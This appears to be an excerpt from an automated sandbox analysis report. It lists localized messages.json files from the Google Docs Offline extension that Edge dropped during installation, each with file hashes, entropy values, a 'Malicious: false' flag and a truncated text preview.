Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
